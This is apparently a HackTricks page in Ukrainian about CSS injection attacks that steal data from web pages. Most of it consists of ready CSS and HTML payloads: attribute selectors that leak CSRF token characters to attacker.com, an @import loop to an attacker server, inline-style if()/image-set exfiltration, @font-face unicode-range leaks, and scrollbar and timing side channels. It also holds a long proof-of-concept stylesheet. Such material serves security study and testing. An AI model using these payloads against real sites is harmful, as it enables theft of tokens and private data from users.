CSS Injection
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
CSS Injection
LESS Code Injection
LESS — популярний CSS препроцесор, який додає змінні, міксини, функції та потужну директиву @import. Під час компіляції движок LESS буде завантажувати ресурси, зазначені в @import і вбудовувати (“inline”) їхній вміст у результуючий CSS, коли використовується опція (inline).
{{#ref}} less-code-injection.md {{/ref}}
Атрибутний селектор
CSS селектори формуються так, щоб відповідати значенням атрибутів name та value елемента input. Якщо атрибут value елемента input починається з певного символу, завантажується попередньо визначений зовнішній ресурс:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Однак цей підхід має обмеження при роботі з прихованими input-елементами (type=“hidden”), бо приховані елементи не завантажують фонові зображення.
Обхід для прихованих елементів
Щоб обійти це обмеження, можна таргетувати наступний сусідній елемент за допомогою загального сусіднього комбінатора ~. CSS-правило тоді застосовується до всіх сусідів, що йдуть після прихованого input-елемента, змушуючи фонове зображення завантажитись:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Практичний приклад експлуатації цієї техніки наведено в наведеному фрагменті коду. Ви можете переглянути його тут.
Передумови для CSS Injection
Для того, щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови:
- Payload Length: Вектор CSS Injection має підтримувати достатньо довгі payloads, щоб вмістити створені selectors.
- CSS Re-evaluation: Ви повинні мати можливість frame the page, що необхідно для виклику повторної оцінки CSS з новоствореними payloads.
- External Resources: Техніка передбачає можливість використовувати externally hosted images. Це може бути обмежено Content Security Policy (CSP) сайту.
Blind Attribute Selector
As explained in this post, it’s possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It’s also possible to use those selectors to extract information from several block of the same type like in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Поєднавши це з наступною технікою @import, можна ексфільтрувати велику кількість інформації, використовуючи CSS injection з blind pages за допомогою blind-css-exfiltration.
@import
Попередня техніка має деякі недоліки, перевірте передумови. Вам або потрібно мати змогу send multiple links to the victim, або потрібно мати змогу iframe the CSS injection vulnerable page.
Проте існує інша хитра техніка, яка використовує CSS @import для покращення ефективності підходу.
Це вперше показав Pepe Vila і працює це так:
Замість того, щоб завантажувати ту саму сторінку знову і знову з десятками різних payloads кожного разу (як у попередньому випадку), ми збираємося load the page just once and just with an import to the attackers server (this is the payload to send to the victim):
@import url("//attacker.com:5001/start?");
- Цей import отримає деякий CSS-скрипт від attackers і browser його завантажить.
- Перша частина CSS-скрипту, який attacker надішле, — це ще один @import до attackers server.
- Attackers server поки що не відповість на цей запит, оскільки ми хочемо leak деякі символи, а потім відповісти на цей import payload’ом, щоб leak наступні.
- Друга, більша частина payload’а буде attribute selector leakage payload
- Це відправить на attackers server перший символ секрету і останній
- Після того як attackers server отримає перший і останній символ секрету, він відповість на import, запитаний у кроці 2.
- Відповідь буде точно такою ж, як кроки 2, 3 і 4, але цього разу намагатиметься знайти другий символ секрету, а потім передостанній.
Attacker буде follow that loop until it manages to leak completely the secret.
You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.
Tip
Скрипт буде намагатися відкривати по 2 символи щоразу (з початку та з кінця), бо attribute selector дозволяє робити такі речі:
css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }
/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }
Це дозволяє скрипту leak секрет швидше.
Warning
Іноді скрипт неправильно визначає, що знайдені префікс + суфікс вже утворюють повний flag і продовжує вперед (у префіксі) та назад (у суфіксі), через що в якийсь момент може зависнути.
Не хвилюйтеся, просто перевірте output, бо ви можете побачити flag там.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
Цей примітив дозволяє exfiltration, використовуючи лише inline style attribute елемента, без selectors або external stylesheets. Він покладається на CSS custom properties, функцію attr() для читання same-element attributes, нові CSS if() conditionals для гілкування, та image-set() для ініціювання мережевого запиту, який кодує matched value.
Warning
Порівняння на рівність у if() вимагають подвійних лапок для рядкових літералів. Одинарні лапки не спрацюють.
- Sink: контролюйте style attribute елемента і переконайтеся, що target attribute знаходиться на тому ж елементі (attr() читає лише same-element attributes).
- Read: скопіюйте attribute у CSS-змінну: –val: attr(title).
- Decide: оберіть URL за допомогою вкладених conditionals, що порівнюють змінну з рядковими кандидатами: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
- Exfiltrate: застосуйте background: image-set(var(–steal)) (або будь-яку іншу fetching property), щоб примусити запит до обраного endpoint.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Працюючий payload (для порівняння обов’язкові подвійні лапки):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Перелічення значень атрибутів із вкладеними умовами:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Реалістична демонстрація (перевірка імен користувачів):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Примітки та обмеження:
- Працює в браузерах на основі Chromium на момент дослідження; поведінка може відрізнятися в інших рушіях.
- Найкраще підходить для скінченних/перелічуваних просторів значень (IDs, flags, short usernames). Викрадення довільно довгих рядків без зовнішніх таблиць стилів залишається складним.
- Будь-яка CSS-властивість, що отримує URL, може бути використана для ініціації запиту (наприклад, background/image-set, border-image, list-style, cursor, content).
Автоматизація: a Burp Custom Action може згенерувати вкладені inline-style payload’и для брутфорсу значень атрибутів: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Інші селектори
Інші способи доступу до частин DOM за допомогою CSS selectors:
- .class-to-search:nth-child(2): Це знайде другий елемент з класом “class-to-search” у DOM.
- :empty selector: Використовується, наприклад, в this writeup:
css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }
Error based XS-Search
Посилання: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Загальна ідея — використати кастомний шрифт із контрольованого endpoint’а та переконатися, що текст (у цьому випадку, ‘A’) відображається цим шрифтом лише якщо вказаний ресурс (favicon.ico) не може бути завантажений.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Використання користувацького шрифту:
- Користувацький шрифт визначається за допомогою правила @font-face всередині тегу
- Шрифт називається poc і завантажується з зовнішнього ендпойнта (http://attacker.com/?leak).
- Властивість unicode-range встановлено на U+0041, націлюючись на конкретний юнікод-символ ‘A’.
- Елемент :
- В тілі () створюється елемент
- font-family для цього елементу встановлено на ‘poc’, як визначено в секції
- Якщо ресурс (favicon.ico) не вдається завантажити, відображається резервний вміст (літера ‘A’) всередині тега
- Резервний вміст (‘A’) буде відрендерений з використанням користувацького шрифту poc, якщо зовнішній ресурс не може бути завантажений.
Стилізація Scroll-to-Text Fragment
Псевдоклас :target використовується для вибору елементу, на який вказує URL fragment, як зазначено в CSS Selectors Level 4 specification. Важливо розуміти, що ::target-text не відповідає жодним елементам, якщо текст явно не націлений фрагментом.
Виникає проблема безпеки, коли attackers експлуатують функцію Scroll-to-text fragment, що дозволяє їм підтвердити наявність певного тексту на веб-сторінці, завантаживши ресурс з їхнього сервера через HTML injection. Метод передбачає ін’єкцію CSS-правила на кшталт цього:
:target::before {
content: url(target.png);
}
У таких випадках, якщо на сторінці присутній текст “Administrator”, ресурс target.png запитується з сервера, що вказує на наявність цього тексту. Приклад такої атаки можна виконати через спеціально сформований URL, який вбудовує інжектований CSS разом із Scroll-to-text fragment:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Тут атака маніпулює HTML injection для передачі CSS-коду, орієнтуючись на конкретний текст “Administrator” через Scroll-to-text fragment (#:~:text=Administrator). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сигналізуючи про його наявність атакуючому.
Для пом’якшення ризику слід звернути увагу на такі моменти:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) спроектований так, щоб відповідати лише словам або реченням, тим самим обмежуючи його здатність до leak довільних секретів або токенів.
- Restriction to Top-level Browsing Contexts: STTF працює виключно в top-level browsing contexts і не функціонує всередині iframes, що робить будь-яку спробу експлуатації більш помітною для користувача.
- Necessity of User Activation: STTF вимагає user-activation gesture для роботи, тобто експлуатації можливі лише через навігації, ініційовані користувачем. Ця вимога значно зменшує ризик автоматизованих атак без взаємодії користувача. Проте автор запису в блозі вказує на конкретні умови та bypasses (наприклад, social engineering, взаємодія з поширеними browser extensions), які можуть полегшити автоматизацію атаки.
Поінформованість про ці механізми та потенційні вразливості є ключовою для підтримки безпеки вебу і захисту від таких експлуатаційних тактик.
Для детальнішої інформації див. оригінальний звіт: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Можете переглянути exploit using this technique for a CTF here.
@font-face / unicode-range
Ви можете вказати зовнішні шрифти для конкретних значень unicode, які будуть завантажені лише якщо ці значення unicode присутні на сторінці. Наприклад:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
Коли ви заходите на цю сторінку, Chrome та Firefox запитують “?A” і “?B”, тому що текстовий вузол sensitive-information містить символи “A” та “B”. Але Chrome та Firefox не запитують “?C”, бо він не містить “C”. Це означає, що нам вдалося прочитати “A” та “B”.
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Описана техніка полягає у витяганні тексту з вузла шляхом експлуатації font ligatures та моніторингу змін ширини. Процес включає кілька кроків:
- Creation of Custom Fonts:
- SVG-шрифти створюються з glyphs, що мають атрибут horiz-adv-x, який задає велику ширину для glyph, що представляє послідовність з двох символів.
- Приклад SVG glyph:
, де “XY” позначає послідовність з двох символів. - Ці шрифти потім конвертуються у формат woff за допомогою fontforge.
- Detection of Width Changes:
- За допомогою CSS забезпечується, щоб текст не переносився (white-space: nowrap) і налаштовується стиль scrollbar.
- Поява горизонтальної смуги прокрутки, стилізованої окремо, виступає індикатором (oracle), що конкретна ligature, а отже й конкретна послідовність символів, присутня в тексті.
- Залучений CSS: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Exploit Process:
- Step 1: Створюються шрифти для пар символів зі значною шириною.
- Step 2: Використовується трюк зі scrollbar, щоб виявити, коли рендериться glyph великої ширини (ligature для пари символів), що вказує на наявність цієї послідовності.
- Step 3: Після виявлення ligature генеруються нові glyph, що представляють послідовності з трьох символів, додаючи попередній або наступний символ до знайденої пари.
- Step 4: Виконується виявлення ligature для трьохсимвольної послідовності.
- Step 5: Процес повторюється, поступово розкриваючи весь текст.
- Optimization:
- Поточний метод ініціалізації з використанням не є оптимальним.
- Ефективнішим підходом може бути трюк з CSS @import, що підвищить продуктивність експлойту.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
This trick was released in this Slackers thread. The charset used in a text node can be leaked using the default fonts installed in the browser: no external -or custom- fonts are needed.
Концепція побудована на використанні анімації, яка поступово збільшує ширину div, дозволяючи по одному символу переходити з частини ‘suffix’ у частину ‘prefix’. Таким чином текст розбивається на дві секції:
- Prefix: Початковий рядок.
- Suffix: Наступний(і) рядок(ки).
Стадії переходу символів виглядали б так:
C
ADB
CA
DB
CAD
B
CADB
Під час цього переходу використовується unicode-range trick, щоб ідентифікувати кожен новий символ, коли він приєднується до prefix. Це досягається перемиканням шрифту на Comic Sans, який значно вищий за шрифт за замовчуванням, внаслідок чого з’являється вертикальна смуга прокрутки. Поява цієї смуги прокрутки опосередковано виявляє наявність нового символу в prefix.
Хоча цей метод дозволяє виявляти унікальні символи по мірі їх появи, він не визначає, який саме символ повторюється — лише те, що повторення відбулося.
Tip
По суті, unicode-range використовується для виявлення char, але оскільки ми не хочемо завантажувати зовнішній шрифт, треба знайти інший спосіб.
Коли char знайдено, йому присвоюється попередньо встановлений шрифт Comic Sans, який робить char більшим і викликає появу смуги прокрутки, що will leak the found char.
Перегляньте код, витягнутий з PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset за допомогою шрифту за замовчуванням, приховуючи елементи (не вимагає зовнішніх ресурсів)
Посилання: Це згадується як an unsuccessful solution in this writeup
Цей випадок дуже схожий на попередній, проте тут метою зробити певні символи більшими за інші є приховати щось, наприклад кнопку, яку бот не повинен натиснути, або зображення, яке не буде завантажене. Тому ми можемо виміряти дію (або її відсутність) і дізнатися, чи присутній конкретний символ у тексті.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Посилання: Це згадується як an unsuccessful solution in this writeup
У цьому випадку ми могли б спробувати leak, чи є символ у тексті, завантаживши підробний шрифт із того ж origin:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Якщо є відповідність, шрифт буде завантажений з /static/bootstrap.min.css?q=1. Хоча воно не завантажиться успішно, браузер має кешувати його, і навіть якщо кешу немає, існує механізм 304 not modified, тому відповідь має бути швидшою, ніж інші речі.
Однак, якщо різниця в часі між кешованою відповіддю та некешованою недостатньо велика, це не буде корисно. Наприклад, автор відзначив: «Після тестування я виявив, що перша проблема — швидкість майже не відрізняється, а друга проблема — бот використовує прапор disk-cache-size=1, що справді продумано.»
Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)
Посилання: This is mentioned as an unsuccessful solution in this writeup
У цьому випадку ви можете вказати CSS to load hundreds of fake fonts from the same origin when a match occurs. Таким чином ви можете виміряти час, який це займає, і дізнатися, чи з’являється символ (char) чи ні за допомогою чогось на кшталт:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
А код бота виглядає так:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Отже, якщо шрифт не співпадає, очікуваний час відповіді при зверненні до бота становитиме приблизно 30 секунд. Однак якщо шрифт співпадає, буде відправлено кілька запитів для його отримання, що спричинить постійну активність мережі. Внаслідок цього для задоволення умови зупинки та отримання відповіді знадобиться більше часу. Тому час відповіді можна використовувати як індикатор, щоб визначити, чи є співпадіння шрифтів.
References
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

